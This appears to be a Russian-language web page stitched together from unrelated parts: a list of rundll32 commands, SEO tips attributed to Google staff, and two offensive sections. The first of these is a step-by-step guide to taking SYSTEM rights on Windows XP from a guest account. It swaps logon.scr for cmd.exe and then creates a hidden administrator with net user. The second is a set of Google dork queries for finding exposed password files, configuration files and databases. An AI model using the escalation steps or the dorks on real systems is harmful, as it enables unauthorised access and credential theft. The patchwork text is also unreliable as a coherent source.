* rundll32 mshtml.dll,PrintHTML "HtmlFileNameAndPath" - распечатать документ HTML, где "HtmlFileNameAndPath" - путь к файлу и его имя.

* rundll32 мсprint2.dll,RUNDLL_PrintTestPage - распечатать тестовую страницу на принтере.

* rundll32 netplwiz.dll,AddNetPlaceRunDll - вызов мастера подключения нового сетевого ресурса "Добавление в сетевое окружение".

* rundll32 rnaui.dll,RnaWizard - вызов мастера "Удаленный доступ к сети".

* rundll32 rnaui.dll,RnaWizard /1 - вызов мастера "Удаленный доступ к сети" без отображения начального окна.

* rundll32 shell,ShellExecute - открыть Проводник (папка "Рабочий стол").

* rundll32 shell32,Control_RunDLL - открыть в Проводнике папку "Панель управления".

* rundll32 shell32,Control_RunDLL appwiz.cpl,,n - вызов диалогового окна "Установка и удаление программ", в котором будет открыта вкладка с номером "n" (от 1 до 3).

* rundll32 shell32,Control_RunDLL main.cpl @0 - открыть диалог "Свойства мыши".

* rundll32 shell32,Control_RunDLL main.cpl @1 - открыть диалог "Свойства клавиатуры".

* rundll32 shell32,Control_RunDLL main.cpl @2 - открыть папку "Принтеры".

* rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintersFolder - открыть папку "Принтеры" (другой способ).

* rundll32 shell32,Control_RunDLL main.cpl @3 - открыть папку "Шрифты".

* rundll32 SHELL32,SHHelpShortcuts_RunDLL FontsFolder - открыть папку "Шрифты" (другой способ).

* rundll32 SHELL32,Control_RunDLL modem.cpl, add - открыть диалог "Свойства модема".

* rundll32 shell32,Control_RunDLL timedate.cpl - открыть диалог "Дата и время".

* rundll32 shell32,OpenAs_RunDLL - вызвать диалог "Открыть с помощью...".

* rundll32 shell32,ShellAboutA WINHOWTO.RU - информация о версии Windows.

* rundll32 shell32,SHExitWindowsEx 0 - закрыть все программы, перегрузить оболочку.

* rundll32 shell32, SHExitWindowsEx 1 - выключить ПК.

* rundll32 SHELL32, SHExitWindowsEx -1 - перегрузить оболочку Windows.

* rundll32 shell32, SHExitWindowsEx 2 - перегрузить ПК.

* rundll32 shell32,SHExitWindowsEx 4 - принудительно закрыть все программы.

* rundll32 shell32,SHExitWindowsEx 8 - выход из Windows и выключение ATX-совместимого ПК.

* rundll32 shell32,SHFormatDrive - вызов диалога форматирования диска А:.

* rundll32 SHELL32,SHHelpShortcuts_RunDLL AddPrinter - запуск "Мастера установки принтера".

* rundll32 shell32,SHHelpShortcuts_RunDLL Connect - запуск мастера подключения сетевого диска.

* rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintTestPage - распечатать тестовую страницу.

* rundll32 sysdm.cpl,InstallDevice_Rundll - вызов мастера установки оборудования.

* rundll32 url.dll,FileProtocolHandler %1 - открыть веб-страницу, где %1 - URL сайта (включая http://).

* rundll32 url.dll,MailToProtocolHandler %1 - создать новое письмо, где %1 - e-mail адресата.

* rundll32 user,CASCADECHILDWINDOWS - расположить все окна каскадом.

* rundll32 user,TILECHILDWINDOWS - расположить все окна по экрану.

* rundll32 user,disableoemlayer - сбой системы (!) - выключить все функции ввода-вывода

(клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.

* rundll32 user,ExitWindowsExec - быстрая перезагрузка Windows.

* rundll32 user,RepaintScreen - выполнить команду "Обновить".

* rundll32 user,SetCaretBlinkTime n - задать частоту мигания курсора, соответствующую значению параметра n.

* rundll32 user,SetCursorPos - переместить курсор мыши в верхний левый угол экрана.

* rundll32 user,SetDoubleClickTime n - задать скорость двойного нажатия левой кнопки мыши (Double Click), соответствующую параметру n.

* rundll32 user,SwapMouseButton - поменять местами клавиши мыши (обратная смена невозможна).

* rundll32 user,WNetConnectDialog - вызов диалога "Подключение сетевого диска".

* rundll32 user,WNetDisconnectDialog - вызов диалога "Отключение сетевого Читать далее...

Поднять права пользователя в Windows XP

Итак, перед нами машина, на которой стоит Вин ХР, но админ под пасом и мы можем зайти только под гостем. Будем подымать права. Для начала идём в директорию C:\windows\system32\ и ищем там logon.scr, надо его переименовать, далее находим cmd.exe, копируем его и копию переименовываем в logon.scr , перезагружаемся и, когда перед нами появляется окно куда надо водить логин и пасс, мы ждём 15 мин пока перед нами не появится хранитель экрана (в нашем случаи командная строка) и вводим туда EXPLORER (большими буквами). Загружается оконная система, и мы уже под пользователем SYSTEM, можно создать нового админа или пользователя.
шаг 1: net user MyName qwerty /add - MyName - имя пользователя; qwerty – пароль
шаг 2: net localgroup Administrators MyName /add - добавляет MyName в группу Administrators
шаг 3: net accounts /maxpwage:unlimited - снимает ограничение на срок действия пароля

etc (index.of)
ext:asp inurl:DUgallery intitle:"3.0" -site:dugallery.com -site:duware.com
ext:asp inurl:pathto.asp
ext:cgi intext:"nrg-" " This web page was created on "
ext:cgi inurl:editcgi.cgi inurl:file=
ext:cgi inurl:ubb6_test.cgi
ext:conf inurl:rsyncd.conf -cvs -man
ext:gho gho
ext:ini eudora.ini
ext:ini intext:env.ini
ext:ldif ldif
ext:log "Software: Microsoft Internet Information Services *.*"
ext:mdb inurl:*.mdb inurl:fpdb shop.mdb
ext:nsf nsf -gov -mil
ext:php intext:"Powered by phpNewMan Version"
ext:pl inurl:cgi intitle:"FormMail *" -"*Referrer" -"* Denied" -sourceforge -error -cvs -input
ext:reg "username=*" putty
ext:txt inurl:dxdiag
ext:vmx vmx
ezBOO "Administrator Panel" -cvs

Советы от Google
Советов набралось достаточно. После каждого совета дана ссылка на оригинальные посты Мэта Катса (борьца с веб спамом, сотрудника компании Гугл).

1. Мэт рекомендует использовать тире вместо подчеркивания для разделение слов в адресах страниц. 2005.
отсюда

2. Google убивает каждый отдельно взятый спам сайт, как только находит его, но постоянно работает над алгоритмизацией этого процесса. Мэт рекомендует не использовать подозрительных JavaScript редиректов, потому что они могут попасть под пристальное внимание в ближайшее время. 2005.
отсюда

3. Google постоянно обновляет свои индексы – в том числе и беклинки и PageRank. Однако публикуют они новые беклинки и ПР примерно раз в 3 месяца. Поэтому новые беклинки и ПР ни о чем не говорят – их появление никак не связано с апдейтом. 2005.
отсюда

4. Скрытый текст: делать цвет текста чуть отличным от цвета фона еще хуже, чем писать “белым по белому”. Испольщование “#EEEEEE” вместо просто белого на абсолютно белом фоне хуже, чем просто белый текст на белом фоне – очевидно же, что вы хотите что-то спрятать. 2005.
отсюда

5. Если вы продаете ссылки, то Мэт рекомендует использовать “презервативы для ссылок”. Иначе репутация вашего сайта может сильно пострадать. Видимо, имеется в виду то, что исходящие ссылки перестанут учитываться (ака непот фильтр). 2006.
отсюда

6. Googlebot может обходить только общедоступные страницы, для доступа к которым не нужно логиниться. Поэтому не забывайте выкладывать в свободный доступ необходимые страницы. Ванесса Фокс. 2006.
отсюда

7. Если вам необходимо использовать флеш на сайте, то не забудьте сделать HTML версию. А флеш версию закройте от роботов через robots.txt. Ванесса Фокс. 2006.
отсюда

8. Используйте понятные всем урлы типа “african-elephants.html”, а не бредни в стиле “343432ffsdfsdfdfasffgddddd.html”. Но не переусердствуйте — african-elephants-and-their-habitats-etc-etc-etc-etc.html. Ванесса Фокс. 2006.
отсюда

9. Задайте для каждой страницы уникальные, описывающие содержимое страницы заловки и теги TITLE. Ванесса Фокс. 2006.
отсюда

10. Количество редиректов при клике на урл сведите к минимуму. Ванесса Фокс. 2006.
отсюда

11. Количество параметров в урле сделайте минимальным – в идеале 1-2 параметра, если это возможно. Ванесса Фокс. 2006.
отсюда

12. Неиспользуйте в урлах параметр “id=” для чего бы то ни было кроме идентификатора сессий. Иначе вы рискуете не попасть в индекс Гугла. Ванесса Фокс. 2006.
отсюда

13. Гугл не одобряет покупку ссылок с целью наращивание ПР и будет с этим бороться. 2006.
отсюда

14. Черные оптимизаторы использует Google Analytics для своих сомнительных исследований, но обычных владельцев сайтов надо убеждать в пользе различных исследований сайта. 2006.
отсюда

15. Google борется с продажей и покупкой ссылок и Мэт отмечает, что они в этом преуспели – как алгоритмически, так и вручную. Сайты, продающие ссылки, могут потерять доверие в поисковых системах. 2006.
отсюда

16. В 2006 году Google уделяет особое внимение определению спама не только на английском языке, а на итальянском, испанском, китайском и других. 2006.
отсюда

17. Используйте 302-й редирект для временного перенаправления пользователей и 301-й редирект для постоянного. В общем, если сайт переехал, то 301-й, если просто надо временно кидать на другие страницы, то 302-й. 2006.
отсюда

18. Canonicalization (каноникализация?) – процесс выбора наиболее подходящего урла, обычно для отображения главной страницы, например, www.example.com или example.com или www.example.com/index.html. Потому как все эти урлы разные, то сервер может отдавать разный контент по каждому из них. Поэтому Google пытается выбрать лучший и отсечь остальные. Чтобы помочь Google, используйте везде одинаковые урлы и ставьте 301-й редирект с неправильных на правильный. 2006.
отсюда

19. Не стоит использовать “URL removal tool”, чтобы удалить урл domain.com, если вы волнуетесь о каноникализации и у вас в индексе два урла domain.com и www.domain.com. Так вы удалите весь сайт целиком! 2006.
отсюда

20. Поисковые системы могут использовать механизм каноникализации для удаления ненужных слешей на конце урла, перевода верхнего регистра в нижний, удаления идентификаторов сессий на форумах и других подобных движках. 2006.
отсюда

21. 404-я ошибка (документ удален, но может появиться) воспринимается как 410-я (удален и никогда уже не появится). Большинство веб мастеров используют 404-ю именно как 410-ю. 2006.

filetype:QDF QDF
filetype:asp "Custom Error Message" Category Source
filetype:asp DBQ=" * Server.MapPath("*.mdb")
filetype:ASP ASP
filetype:ASPX ASPX
filetype:BML BML
filetype:cfg ks intext:rootpw -sample -test -howto
filetype:cfm "cfapplication name" password
filetype:CFM CFM
filetype:CGI CGI
filetype:conf inurl:psybnc.conf "USER.PASS="
filetype:dat "password.dat
filetype:DIFF DIFF
filetype:DLL DLL
filetype:DOC DOC
filetype:FCGI FCGI
filetype:HTM HTM
filetype:HTML HTML
filetype:inf sysprep
filetype:JHTML JHTML
filetype:JSP JSP
filetype:log inurl:password.log
filetype:MV MV
filetype:pdf "Assessment Report" nessus
filetype:PDF PDF
filetype:PHP PHP
filetype:PHP3 PHP3
filetype:PHP4 PHP4
filetype:PHTML PHTML
filetype:PL PL
filetype:PPT PPT
filetype:PS PS
filetype:SHTML SHTML
filetype:STM STM
filetype:SWF SWF
filetype:TXT TXT
filetype:XLS XLS

ино\люди
[466x699]